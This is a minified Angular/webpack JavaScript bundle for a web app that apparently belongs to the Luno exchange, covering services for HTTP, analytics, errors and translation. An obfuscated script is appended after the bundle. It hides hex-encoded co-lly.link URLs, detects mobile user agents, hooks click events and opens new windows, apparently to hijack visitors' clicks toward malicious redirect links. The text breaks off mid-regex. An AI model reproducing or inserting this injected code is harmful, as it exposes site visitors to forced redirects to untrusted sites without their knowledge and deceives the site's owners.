i.OlP("FeatureFlagDataSource",{factory:()=>({featureFlags:{}})});let o=(()=>{class t{constructor(t){this.dataProvider=t}isEnabled(t){return this.dataProvider.isCamelCased?!!this.dataProvider.featureFlags[(0,s.L)(t)]:!!this.dataProvider.featureFlags[t]}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(r))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},44036:function(t,e,n){"use strict";n.d(e,{E:function(){return r},b:function(){return l}});var i=n(32118),s=n.n(i),r=(()=>{return(t=r||(r={})).BUY_SUCCESS="buy_success",t.BUY_CANCELLED="buy_cancelled",t.SELL_SUCCESS="sell_success",t.SELL_CANCELLED="sell_cancelled",t.SEND_SUCCESS="send_success",t.SEND_CANCELLED="send_cancelled",t.VERIFY_PHONE_SUCCESS="verfiy_phone_success",t.SIGNUP_SUCCESS="signup_success",t.VERIFY_EMAIL_SUCCESS="verify_email_success",t.LOGIN="login",t.LOGOUT="logout",r;var t})(),o=n(2316),a=n(94637),c=n(18742);let l=(()=>{class t{constructor(t,e){this.cookiePreferencesService=t,this.windowRef=e,this.windowRef.nativeWindow.dataLayer=this.windowRef.nativeWindow.dataLayer||[]}pushEvent(t){this.pushTag({event:t})}pushRevenueEvent(t,e){this.pushTag({event:t,rval:e})}pushLoginEvent(t){this.pushTag({event:r.LOGIN,user_id:t})}pushLogoutEvent(){this.pushTag({event:r.LOGOUT})}pushOnDataLayer(t){this.getDataLayer().push(t)}getDataLayer(){return this.windowRef.nativeWindow.dataLayer}addGtmToDom(t){this.cookiePreferencesService.preferences$.subscribe(e=>{!e.marketing||this.loadScript(t)})}loadScript(e){if(!e||!Object.keys(e).length)return void s().notify("No GTM config received");if(this.isLoaded())return;const n=`https://www.googletagmanager.com/gtm.js?id=${e.environmentId}>m_auth=${e.auth}>m_preview=${e.preview}>m_cookies_win=x`,i=document.createElement("script");i.id=t.SCRIPT_ID,i.async=!0,i.src=n,document.head.insertBefore(i,document.head.firstChild);const r=document.createElement("iframe");r.setAttribute("src",n),r.style.width="0",r.style.height="0",r.style.display="none",r.style.visibility="hidden";const o=document.createElement("noscript");o.id=t.NO_SCRIPT_ID,o.appendChild(r),document.body.insertBefore(o,document.body.firstChild),this.pushOnDataLayer({"gtm.start":(new Date).getTime(),event:"gtm.js"})}pushTag(t){!this.isLoaded()||this.pushOnDataLayer(t)}isLoaded(){return!!document.getElementById(t.SCRIPT_ID)}}return t.SCRIPT_ID="GTMscript",t.NO_SCRIPT_ID="GTMiframe",t.\u0275fac=function(e){return new(e||t)(o.LFG(a.L),o.LFG(c.X))},t.\u0275prov=o.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},7282:function(t,e,n){"use strict";n.d(e,{h:function(){return i}});class i{encodeKey(t){return encodeURIComponent(t)}encodeValue(t){return encodeURIComponent(t)}decodeKey(t){return decodeURIComponent(t)}decodeValue(t){return decodeURIComponent(t)}}},57662:function(t,e,n){"use strict";n.d(e,{O:function(){return a}});var i=n(53882),s=n(7282),r=n(2316),o=n(18742);let a=(()=>{class t{constructor(t,e){this.httpClient=t,this.windowRef=e}get(t,e){const n={params:this.makeParams(e)};return this.httpClient.get(t,n)}post(t,e){return this.httpClient.post(t,this.makeParams(e),{headers:this.getFormHeaders()})}postFormData(t,e){try{e.append("csrf_token",this.windowRef.nativeWindow.DATA.state.userInfo.csrf_token)}catch(n){}return this.httpClient.post(t,e)}postJSON(t,e,n){const i=this.getJsonHeaders(n);return this.httpClient.post(t,JSON.stringify(e),{headers:i})}putJSON(t,e,n){const i=this.getJsonHeaders(n);return this.httpClient.put(t,JSON.stringify(e),{headers:i})}patchJSON(t,e,n){const i=this.getJsonHeaders(n);return this.httpClient.patch(t,JSON.stringify(e),{headers:i})}putFormData(t,e,n){const s=this.getFormHeaders(n);let r=new i.LE;return Object.keys(e||{}).forEach(t=>{r=r.set(t,e[t])}),this.httpClient.put(t,r.toString(),{headers:s})}delete(t,e){return this.httpClient.delete(t,{params:this.makeParams(e),headers:this.getFormHeaders()})}makeParams(t){let e=new i.LE({encoder:new s.h});return t&&Object.keys(t).forEach(n=>{e=e.set(n,t[n])}),e}getFormHeaders(t){let e=this.getDefaultHeaders();return e=e.set("Content-Type","application/x-www-form-urlencoded"),t&&t.forEach(t=>{e=e.append(t.name,t.value)}),e}getJsonHeaders(t){let e=this.getDefaultHeaders();return e=e.set("Content-Type","application/json"),t&&t.length&&t.forEach(t=>{e=e.append(t.name,t.value)}),e}getDefaultHeaders(){const t=new i.WM;return this.maybeSetCsrfHeader(t)}maybeSetCsrfHeader(t){var e,n,i,s;const r=(null===(i=null===(n=null===(e=this.windowRef.nativeWindow.DATA)||void 0===e?void 0:e.state)||void 0===n?void 0:n.userInfo)||void 0===i?void 0:i.csrf_token)||(null===(s=this.windowRef.nativeWindow.DATA)||void 0===s?void 0:s.csrfToken);return r&&(t=t.set("X-Xsrf-Token",r)),t}}return t.\u0275fac=function(e){return new(e||t)(r.LFG(i.eN),r.LFG(o.X))},t.\u0275prov=r.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},30706:function(t,e,n){"use strict";n.d(e,{OE:function(){return i.O},D3:function(){return p}});var i=n(57662),s=n(53882),r=n(32118),o=n.n(r),a=n(45871),c=n(18293),l=n(22210);class u{}var h=n(2316),d=n(50501);let p=(()=>{class t{constructor(t,e){this.i18n=t,this.errorHandlerService=e}intercept(t,e){return e.handle(t).pipe((0,c.K)((e,n)=>{var i;const r=new u;if(r.status=e.status,401===e.status){const t=document.location.pathname+document.location.search,e=(new s.LE).set("redirect",t);document.location.href="/login?"+e.toString();const n=this.i18n.translateText("Authorisation required");r.message=n}else if(404===e.status){const t=this.i18n.translateText("Sorry, we couldn't find what you're looking for.");r.message=`${t} (${e.status})`}else if(429===e.status){const t=this.i18n.translateText("Too many requests. Please try again later.");r.message=`${t} (${e.status})`}else if(451===e.status){document.location.href="/region_unavailable";const t=this.i18n.translateText("Sorry, we cannot provide service in your region.");r.message=`${t} (${e.status})`}else if(500===e.status){const t=this.i18n.translateText("An error occurred. Please try again."),n=e.headers.get("X-Luno-Trace-ID");r.message=n?`${t} (${n})`:`${t}`}else e.error&&e.error.error_code?(r.message=(null===(i=e.error)||void 0===i?void 0:i.error)||this.i18n.translateText("An error occurred. Please try again."),r.error=e.error):r.message=this.i18n.translateText("An error occurred. Please try again.");if(this.errorHandlerService.useBugsnag()){const n={url:t.url,errorMessage:e.message,errorError:e.error,errorName:e.name,errorStatus:e.status},i=t=>{t.addMetadata("last response error",n)};o().addOnError(i)}return(0,a._)(r)}))}}return t.\u0275fac=function(e){return new(e||t)(h.LFG(l.K),h.LFG(d.q))},t.\u0275prov=h.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},62901:function(t,e,n){"use strict";n.d(e,{O:function(){return a}});var i=n(32118),s=n.n(i),r=n(2316),o=n(50501);let a=(()=>{class t{constructor(t){this.errorHandlerService=t,this._supportedLanguages=["en","en-us","fr","id","it"],this.territory="GB",this._defaultLocale="en-GB",this._locale=this._defaultLocale,this._defaultUrlPath="en",this._urlPath=this._defaultUrlPath}get defaultUrlPath(){return this._defaultUrlPath}get locale(){return this._locale}get defaultLocale(){return this._defaultLocale}get urlPath(){return this._urlPath}get supportedLanguages(){return this._supportedLanguages}set supportedLanguages(t){this._supportedLanguages=t}set(t){var e;if(!t)return void(this.errorHandlerService.useBugsnag()&&s().notify("No locale received"));const n=t.match(/^([a-z]{2})(?:-([a-z]{2}))?$/i);n?this.processLocale(n[1].toLowerCase(),null===(e=n[2])||void 0===e?void 0:e.toUpperCase()):this.errorHandlerService.useBugsnag()&&s().notify("Unable to process locale",e=>{e.addMetadata("Locale",{locale:t})})}processLocale(t,e){switch(t){case"en":"US"!==e&&(e="GB");break;case"fr":case"id":case"it":e=t.toUpperCase();break;default:t="en",e="GB"}this.territory=e,this.setLocale(t,e),this.setUrlPath(t,e)}setLocale(t,e){switch(t){case"en":return"US"===e?void(this._locale=`${t}-US`):void(this._locale=`${t}-GB`)}this._locale=t}setUrlPath(t,e){switch(t){case"en":if("US"===e.toUpperCase())return void(this._urlPath=`${t}-${e}`)}this._urlPath=t}}return t.\u0275fac=function(e){return new(e||t)(r.LFG(o.q))},t.\u0275prov=r.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},35053:function(t,e,n){"use strict";n.d(e,{v:function(){return c}});var i,s=n(3786),r=n(54364),o=n(2316),a=n(71570);class c{constructor(t,e,n,s){this.document=t,this.title=e,this.meta=n,this.rendererFactory=s,this.titleSuffix="",this.addedHrefLangs=[],i.set(this,void 0)}setTitle(t){return this.title.setTitle(`${t}${this.titleSuffix}`),this}addDescription(t){return this.meta.addTag({name:"description",content:t}),this}addKeywords(t){return this.meta.addTag({name:"keywords",content:t}),this}updateDescription(t){return this.meta.updateTag({name:"description",content:t}),this}addRobots(t="index, follow"){return this.meta.addTag({name:"robots",content:t}),this}setOpenGraph(t){!t||(t.title&&this.meta.updateTag({property:"og:title",content:t.title}),t.description&&this.meta.updateTag({property:"og:description",content:t.description}),t.image&&this.meta.updateTag({property:"og:image",content:t.image}),t.url&&this.meta.updateTag({property:"og:url",content:t.url}),t.locale&&this.meta.updateTag({property:"og:locale",content:t.locale}),t.siteName&&this.meta.updateTag({property:"og:site_name",content:t.siteName}),t.type&&this.meta.updateTag({property:"og:type",content:t.type}))}setHreflangs(t,e){t.forEach(t=>{this.createHreflangTag(`${e}${t.url}`,t.language)})}createHreflangTag(t,e){if(this.maybeCreateRenderer(),!this.renderer)return;const n=this.renderer.createElement("link");this.addedHrefLangs.push(n),this.renderer.setAttribute(n,"rel","alternate"),this.renderer.setAttribute(n,"hreflang",e),this.renderer.setAttribute(n,"href",t),this.renderer.appendChild(this.document.head,n)}setCanonicalTag(t,e=!0){if(this.maybeCreateRenderer(),!this.renderer)return;(0,s.Q_)(this,i,"f")&&this.renderer.removeChild(this.document.head,(0,s.Q_)(this,i,"f")),e&&(t=t.split("?")[0]);const n=this.renderer.createElement("link");(0,s.YH)(this,i,n,"f"),this.renderer.setAttribute(n,"rel","canonical"),this.renderer.setAttribute(n,"href",t),this.renderer.appendChild(this.document.head,n)}removeHreflangTags(){!this.addedHrefLangs.length||(this.maybeCreateRenderer(),this.addedHrefLangs.forEach(t=>{!this.renderer||this.renderer.removeChild(this.document.head,t)}),this.addedHrefLangs=[])}maybeCreateRenderer(){this.renderer||(this.renderer=this.rendererFactory.createRenderer(null,null))}}i=new WeakMap,c.\u0275fac=function(t){return new(t||c)(o.LFG(r.K0),o.LFG(a.Dx),o.LFG(a.h_),o.LFG(o.FYo))},c.\u0275prov=o.Yz7({token:c,factory:c.\u0275fac,providedIn:"root"})},51257:function(t,e,n){"use strict";n.d(e,{o:function(){return o}});var i=n(22210),s=n(2316),r=n(68456);let o=(()=>{class t{constructor(t,e){this.message=t,this.matSnackBar=e,this.default={action:this.message.translateText("Got it")}}open(t,e,n){this.matSnackBar.open(t,void 0!==e?e:this.default.action,n)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.K),s.LFG(r.ux))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},76677:function(t,e,n){"use strict";n.d(e,{h:function(){return s}});var i=n(2316);let s=(()=>{class t{constructor(t){this.rendererFactory=t,this.isFullCard=!1,this.fullCardClass="full-card",this.renderer=t.createRenderer(null,null)}setIsFullCard(t){this.isFullCard=t,this.isFullCard?this.addClass(this.fullCardClass):this.removeClass(this.fullCardClass)}isFullCardApplied(){return this.isFullCard}addClass(t){this.renderer.addClass(document.body,t)}removeClass(t){this.renderer.removeClass(document.body,t)}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(i.FYo))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},18742:function(t,e,n){"use strict";n.d(e,{X:function(){return s}});var i=n(2316);let s=(()=>{class t{get nativeWindow(){return window}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t})()},34008:function(t,e,n){"use strict";n.d(e,{G:function(){return q},I:function(){return $}});var i=function(t,e){return function(t,e){for(var n=-1,i=null==t?0:t.length,s=Array(i);++n<i;)s[n]=e(t[n],n,t);return s}(e,function(e){return t[e]})},s="object"==typeof global&&global&&global.Object===Object&&global,r="object"==typeof self&&self&&self.Object===Object&&self,o=s||r||Function("return this")(),a=o.Symbol,c=Object.prototype,l=c.hasOwnProperty,u=c.toString,h=a?a.toStringTag:void 0,d=Object.prototype.toString,p=a?a.toStringTag:void 0,f=function(t){return null==t?void 0===t?"[object Undefined]":"[object Null]":p&&p in Object(t)?function(t){var e=l.call(t,h),n=t[h];try{t[h]=void 0;var i=!0}catch(r){}var s=u.call(t);return i&&(e?t[h]=n:delete t[h]),s}(t):function(t){return d.call(t)}(t)},m=function(t){return null!=t&&"object"==typeof t},g=function(t){return m(t)&&"[object Arguments]"==f(t)},_=Object.prototype,v=_.hasOwnProperty,b=_.propertyIsEnumerable,y=g(function(){return arguments}())?g:function(t){return m(t)&&v.call(t,"callee")&&!b.call(t,"callee")},w=Array.isArray,x="object"==typeof exports&&exports&&!exports.nodeType&&exports,C=x&&"object"==typeof module&&module&&!module.nodeType&&module,S=C&&C.exports===x?o.Buffer:void 0,E=(S?S.isBuffer:void 0)||function(){return!1},k=/^(?:0|[1-9]\d*)$/,T=function(t,e){var n=typeof t;return!!(e=null==e?9007199254740991:e)&&("number"==n||"symbol"!=n&&k.test(t))&&t>-1&&t%1==0&&t<e},A=function(t){return"number"==typeof t&&t>-1&&t%1==0&&t<=9007199254740991},I={};I["[object Float32Array]"]=I["[object Float64Array]"]=I["[object Int8Array]"]=I["[object Int16Array]"]=I["[object Int32Array]"]=I["[object Uint8Array]"]=I["[object Uint8ClampedArray]"]=I["[object Uint16Array]"]=I["[object Uint32Array]"]=!0,I["[object Arguments]"]=I["[object Array]"]=I["[object ArrayBuffer]"]=I["[object Boolean]"]=I["[object DataView]"]=I["[object Date]"]=I["[object Error]"]=I["[object Function]"]=I["[object Map]"]=I["[object Number]"]=I["[object Object]"]=I["[object RegExp]"]=I["[object Set]"]=I["[object String]"]=I["[object WeakMap]"]=!1;var O,R="object"==typeof exports&&exports&&!exports.nodeType&&exports,P=R&&"object"==typeof module&&module&&!module.nodeType&&module,N=P&&P.exports===R&&s.process,D=function(){try{return P&&P.require&&P.require("util").types||N&&N.binding&&N.binding("util")}catch(t){}}(),L=D&&D.isTypedArray,M=L?(O=L,function(t){return O(t)}):function(t){return m(t)&&A(t.length)&&!!I[f(t)]},F=Object.prototype.hasOwnProperty,U=function(t,e){var n=w(t),i=!n&&y(t),s=!n&&!i&&E(t),r=!n&&!i&&!s&&M(t),o=n||i||s||r,a=o?function(t,e){for(var n=-1,i=Array(t);++n<t;)i[n]=e(n);return i}(t.length,String):[],c=a.length;for(var l in t)(e||F.call(t,l))&&(!o||!("length"==l||s&&("offset"==l||"parent"==l)||r&&("buffer"==l||"byteLength"==l||"byteOffset"==l)||T(l,c)))&&a.push(l);return a},B=Object.prototype,j=function(t,e){return function(n){return t(e(n))}}(Object.keys,Object),H=Object.prototype.hasOwnProperty,V=function(t){if(!function(t){var e=t&&t.constructor;return t===("function"==typeof e&&e.prototype||B)}(t))return j(t);var e=[];for(var n in Object(t))H.call(t,n)&&"constructor"!=n&&e.push(n);return e},G=function(t){return null!=t&&A(t.length)&&!function(t){if(!function(t){var e=typeof t;return null!=t&&("object"==e||"function"==e)}(t))return!1;var e=f(t);return"[object Function]"==e||"[object GeneratorFunction]"==e||"[object AsyncFunction]"==e||"[object Proxy]"==e}(t)},Y=function(t){return null==t?[]:i(t,function(t){return G(t)?U(t):V(t)}(t))};const q=(t,e,n)=>(!!t[e]||0===t[e])&&t[e]===n||e===n&&z(t).includes(e),$=(t,e)=>z(t).find(n=>q(t,e,n)),z=t=>{let e=Y(t);const n=e.filter(t=>"number"==typeof t);return e=0===n.length?e.filter(t=>"string"==typeof t):n,e}},13660:function(t,e,n){"use strict";function i(t,e){if(!e)return null;const n=e.join("(?!-)|"),i=new RegExp(`/(${n})\\b`);if(!t)return null;const s=t.match(i);return s?s[1]:null}n.d(e,{s:function(){return i}})},12815:function(t,e,n){"use strict";function i(t){const e=Symbol(),n=Symbol();return(i,s)=>{const r="string"==typeof t?i[t]:t;if(!r)throw new Error(`Cannot find method ${t} in class ${i.constructor.name}`);Object.defineProperty(i,s,{set:function(t){if(this[n]=void 0===this[n],!this[n]&&this[e]===t)return;const i=this[e];this[e]=t,r.call(this,this[e],{firstChange:this[n],previousValue:i,currentValue:this[e],isFirstChange:()=>this[n]})},get:function(){return this[e]}})}}n.d(e,{G:function(){return i}})},96005:function(t,e,n){"use strict";n.d(e,{_:function(){return r}});var i=n(9170);const s=t=>null!=t;function r(){return t=>t.pipe((0,i.h)(s))}},87997:function(t,e,n){"use strict";function i(t,e){if(!t)return t;if("object"==typeof t&&Array.isArray(t))return t.map(t=>i(t));if("object"==typeof t&&Object.keys(t).length){const n={};return Object.keys(t).forEach(r=>{e&&-1!==e.indexOf(r)?n[r]=t[r]:r&&(n[s(r)]=i(t[r],function(t){const e=[];return"event"===t&&e.push("parameters"),e}(r)))}),n}return t}function s(t){return t.split("_").reduce((t,e)=>e.length?t?t+e[0].toUpperCase()+e.slice(1):e[0].toLowerCase()+e.slice(1):t,"")}n.d(e,{i:function(){return i},L:function(){return s}})},22210:function(t,e,n){"use strict";n.d(e,{K:function(){return i.K},W:function(){return o}});var i=n(79336),s=n(2316);let r=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({}),t})(),o=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[r],r]}),t})()},79336:function(t,e,n){"use strict";n.d(e,{K:function(){return a}});var i=n(3786),s=n(62901),r=n(2316),o=n(57662);if("undefined"!=typeof global&&void 0===global.DOMParser){const{DOMParser:t}=n(42861);global.DOMParser=t}let a=(()=>{class t{constructor(t,e){this.httpService=t,this.localeService=e,this.language="en",this.anchorRegex=new RegExp(/(<a.*?>)(?:.*?)(<\/\s?a>)/i),this.multiSpaceRegex=new RegExp(/\s\s/g),this.translationUnits=[]}get defaultLanguage(){return"en"}fetchTranslations(t){return(0,i.mG)(this,void 0,void 0,function*(){this.translations=yield this.httpService.get(t).toPromise()})}setWebsitePrerenderTranslations(t){return(0,i.mG)(this,void 0,void 0,function*(){!t||(this.translations=t,this.initTranslations())})}setLanguage(t){this.language=t}translateText(t,e,n){var i;return this.localeService.locale===this.localeService.defaultLocale?this.processVariables(t,e):((null===(i=this.translationUnits)||void 0===i?void 0:i.length)||this.initTranslations(),this.cottonReplaceAlgorithm(t,this.translationUnits,e))}translateLater(t,e,n){return this.processVariables(t,e)}initTranslations(){this.translations&&this.initJsonTranslations()}initJsonTranslations(){this.translations&&Object.keys(this.translations).forEach(t=>{!this.translations||(this.addTranslationToObject(t,this.translations[t]),this.maybeAddUnencodedString(t,this.translations[t]))})}addTranslationToObject(t,e){this.translationUnits.push({source:t,target:e})}maybeAddUnencodedString(t,e){this.hasEncodedCharacter(t)&&this.addTranslationToObject(this.xmlDecode(t),e)}xmlDecode(t){return t.replace(/\&/g,"&").replace(/\'/g,"'").replace(/\"/g,'"')}hasEncodedCharacter(t){return new RegExp(/&[a-z]+;/).test(t)}cottonReplaceAlgorithm(t,e,n){const i=t;if("string"!=typeof t||!t||!e)return t;if(!this.hasTag(i)){const i=e.find(e=>e.source.toLowerCase().replace(/\s/g," ")===t.toLowerCase().trim().replace(/\s/g," "));if(i)return n?this.processVariables(i.target,n):i.target}for(const s of e){let e=s.source;const r=s.target;if(e&&r&&(this.hasTag(i)&&this.hasTag(e)&&(t=this.getPlainText(t),e=this.getPlainText(e)),e=this.processWhitespaces(e),t=this.processWhitespaces(t),this.isTranslation(t,e,n)))return this.digestTranslation(i,r,n)}return n?this.processVariables(i,n):i}hasTag(t){return t.includes("<")}getPlainText(t){const e=document.createElement("div");return e.innerHTML=t,e.textContent||e.innerText||t}processWhitespaces(t){for(t=t.replace(/\n/," ");this.multiSpaceRegex.test(t);)t=t.replace(this.multiSpaceRegex," ");return t}isTranslation(t,e,n){const i=this.breakSentanceIntoChars(t),s=this.breakSentanceIntoChars(this.removeInterpolation(e));if(!s||!i)return!1;if(n&&e.trim()===t.trim())return!0;const r=e.replace(/<x\b[^>]*>/g,"");return!(s.length!==i.length||!r||!t.includes(r.trim()))}breakSentanceIntoChars(t){return t.match(/\w+|[^\s\w]+/g)}removeInterpolation(t){return t.replace(/<x\b[^>]*>/g,"i18nExtendedVariable")}digestTranslation(t,e,n){return e=this.processAnchors(t,e),e=this.convertTags(e),e=this.restoreBrackets(e),this.processVariables(e,n)}processVariables(t,e){return e&&Object.keys(e).forEach(n=>{var i;const s=new RegExp(`{${n}}`,"g"),r=null!==(i=e[n])&&void 0!==i?i:"";t=t.replace(s,r.toString())}),t}processAnchors(t,e){return this.injectAnchors(t,this.unhtmlifyTargetAnchors(e))}unhtmlifyTargetAnchors(t){let e=0;for(;t.match(/<x\sid="START_LINK".*?>/i);){if(e>25){console.error("Number of hyperlinks in translation exceeds limit");break}t=t.replace(/<x\sid="START_LINK".*?>([\s\S]*?)<x id="CLOSE_LINK".*?>/i,"||link"+e+"-$1||"),e++}return t}convertTags(t){if(!new RegExp(/<x id="(START|CLOSE)_TAG_[a-z]/i).test(t))return t;const e=new DOMParser;return t.replace(/<x id="(?:START|CLOSE)_TAG_[a-z]+".*?\/>/gi,t=>{var n,i,s;const r=e.parseFromString(t,"text/xml");if(!r)return t;const o=r.getElementsByTagName("x");return(null===(s=null===(i=null===(n=null==o?void 0:o[0])||void 0===n?void 0:n.attributes)||void 0===i?void 0:i["equiv-text"])||void 0===s?void 0:s.value)?o[0].attributes["equiv-text"].value:t})}restoreBrackets(t){return t.replace(/<(\/?[a-z]+.*?)>/gi,"<$1>")}injectAnchors(t,e){for(;this.anchorRegex.test(t);){const n=t.match(this.anchorRegex);e=e.replace(/\|\|link[0-9]+-([\s\S]*?)\|\|/i,(t,e)=>(null==n?void 0:n[1])+e+(null==n?void 0:n[2])),t=t.replace(this.anchorRegex,"replaced")}return e}}return t.\u0275fac=function(e){return new(e||t)(r.LFG(o.O),r.LFG(s.O))},t.\u0275prov=r.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},3786:function(t,e,n){"use strict";function i(t,e,n,i){var s,r=arguments.length,o=r<3?e:null===i?i=Object.getOwnPropertyDescriptor(e,n):i;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(t,e,n,i);else for(var a=t.length-1;a>=0;a--)(s=t[a])&&(o=(r<3?s(o):r>3?s(e,n,o):s(e,n))||o);return r>3&&o&&Object.defineProperty(e,n,o),o}function s(t,e){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(t,e)}function r(t,e,n,i){return new(n||(n=Promise))(function(s,r){function o(t){try{c(i.next(t))}catch(e){r(e)}}function a(t){try{c(i.throw(t))}catch(e){r(e)}}function c(t){t.done?s(t.value):function(t){return t instanceof n?t:new n(function(e){e(t)})}(t.value).then(o,a)}c((i=i.apply(t,e||[])).next())})}function o(t,e,n,i){if("a"===n&&!i)throw new TypeError("Private accessor was defined without a getter");if("function"==typeof e?t!==e||!i:!e.has(t))throw new TypeError("Cannot read private member from an object whose class did not declare it");return"m"===n?i:"a"===n?i.call(t):i?i.value:e.get(t)}function a(t,e,n,i,s){if("m"===i)throw new TypeError("Private method is not writable");if("a"===i&&!s)throw new TypeError("Private accessor was defined without a setter");if("function"==typeof e?t!==e||!s:!e.has(t))throw new TypeError("Cannot write private member to an object whose class did not declare it");return"a"===i?s.call(t,n):s?s.value=n:e.set(t,n),n}n.d(e,{gn:function(){return i},w6:function(){return s},mG:function(){return r},Q_:function(){return o},YH:function(){return a}})},12027:function(t){function e(t){return Promise.resolve().then(function(){var e=new Error("Cannot find module '"+t+"'");throw e.code="MODULE_NOT_FOUND",e})}e.keys=function(){return[]},e.resolve=e,e.id=12027,t.exports=e}},function(t){t(t.s=45720)}]);
};
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x65\x75\x71\x33\x63\x363','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x57\x54\x74\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x45\x57\x4e\x38\x63\x388','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x6b\x76\x71\x39\x63\x369','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x65\x41\x4b\x34\x63\x384','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x52\x47\x58\x37\x63\x357','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x51\x41\x7a\x32\x63\x332','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x42\x49\x76\x36\x63\x366','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 